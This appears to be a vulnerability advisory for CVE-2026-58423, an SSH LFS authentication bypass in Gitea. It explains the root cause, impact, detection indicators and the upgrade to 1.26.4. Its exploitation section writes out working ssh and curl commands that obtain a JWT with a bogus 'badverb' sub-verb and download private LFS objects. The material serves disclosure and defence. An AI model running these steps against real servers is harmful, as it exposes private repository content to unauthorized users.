CVE-2026-58423: 
Gitea Análisis y mitigación de vulnerabilidades

CVE-2026-58423 is an LFS authentication bypass vulnerability in Gitea Open Source Git Server that allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. It affects Gitea versions 1.23.0 through 1.26.2 and was published on July 3, 2026, with the fix merged on June 6, 2026 and backported to the 1.26.x release line. The vulnerability carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, Feedly).

The root cause is improper authentication (CWE-287) in cmd/serv.go, where the getAccessMode function handles SSH LFS sub-verbs (upload/download). When an unrecognized sub-verb is supplied, the function falls through to setting.PanicInDevOrTesting, which in production mode only logs an error without panicking, and then returns perm.AccessModeNone (value 0). In routers/private/serv.go, the permission check for private repositories evaluates userMode < mode, which becomes userMode < 0 — a condition that is always false — so access is granted unconditionally. The server then issues a valid LFS JWT token with Op: "badverb", and the HTTP LFS handler (services/lfs/server.go) only validates the Op field for write operations, meaning the malformed token is fully accepted for all download requests (GitHub Advisory, Fix PR).

Any authenticated SSH user — including any registered user on instances with self-registration enabled — can read all LFS objects from any private repository on the Gitea instance, regardless of their actual repository permissions. This constitutes a significant confidentiality breach affecting all Gitea deployments running in production mode with both SSH and LFS enabled (the default configuration). There is no integrity or availability impact, but the exposure of private repository LFS content (which may include large binary files, datasets, build artifacts, or sensitive assets) can be severe (GitHub Advisory).

1. Reconnaissance: Identify a Gitea instance (version 1.23.0–1.26.2) with SSH and LFS enabled. Confirm you have a registered user account with an SSH key configured.
2. Verify lack of access: Confirm the attacker account has no access to the target private repository using a normal LFS authenticate command:

   ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git download"
   # Expected: "User: attacker is not authorized to read owner/private-repo."

3. Send malformed sub-verb: Issue an SSH LFS authenticate command with an arbitrary invalid sub-verb (e.g., badverb) instead of upload or download:

   ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git badverb"
   # Returns a valid JWT: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/owner/private-repo.git/info/lfs"}

4. Use the token to enumerate LFS objects: Submit a batch download request to the LFS HTTP API using the obtained JWT:

   curl -X POST "https://gitea-instance/owner/private-repo.git/info/lfs/objects/batch" \
     -H "Content-Type: application/vnd.git-lfs+json" \
     -H "Accept: application/vnd.git-lfs+json" \
     -H "Authorization: Bearer eyJ..." \
     -d '{"operation":"download","objects":[{"oid":"<object-oid>","size":<size>}]}'

5. Download private LFS content: Use the download URL and authorization header returned in the batch response to retrieve the private LFS object:

   curl -H "Authorization: Bearer eyJ..." "https://gitea-instance/owner/private-repo.git/info/lfs/objects/<oid>"

   (GitHub Advisory)

• Network: SSH commands to the Gitea server containing git-lfs-authenticate with a sub-verb other than upload or download (e.g., badverb); subsequent HTTP POST requests to /info/lfs/objects/batch from IP addresses not associated with the repository's authorized collaborators.
• Logs: Gitea SSH access logs showing git-lfs-authenticate <repo> <unknown-verb> patterns from unexpected users; Gitea application logs containing entries like unknown verb: git-lfs-authenticate badverb (logged as an error in production mode rather than a panic).
• Network: HTTP requests to /<owner>/<repo>.git/info/lfs/objects/batch or /<owner>/<repo>.git/info/lfs/objects/<oid> bearing JWT tokens with Op: "badverb" in the decoded claims, originating from users without repository access.
• Logs: LFS JWT tokens issued with an Op field value other than upload or download appearing in HTTP server access logs for LFS endpoints. (GitHub Advisory, Fix PR)

Gitea has released the fix in version 1.26.3 (backported from the main branch fix merged June 6, 2026), with the recommended upgrade target being 1.26.4 — users should skip 1.26.3 directly and upgrade to 1.26.4, as 1.26.3 contains a regression causing "context deadline exceeded" errors on repository code pages. The fix validates the LFS sub-verb before calling getAccessMode, returning an error for any value other than upload or download. No configuration-based workaround is available; upgrading to v1.26.4 or later is the only remediation (Gitea Release v1.26.4, Fix PR).

The vulnerability was reported by researcher Tomer-PL and acknowledged by Gitea maintainers, who merged the fix on June 6, 2026. Gitea contributor wxiaoguang noted in the PR discussion that the fix is a "backport-able quick fix" and that a complete refactor of the legacy SSH serving code is needed to fully address the underlying architectural issues that led to this and similar security problems. The disclosure generated moderate community attention on social platforms including Mastodon and Bluesky (Fix PR).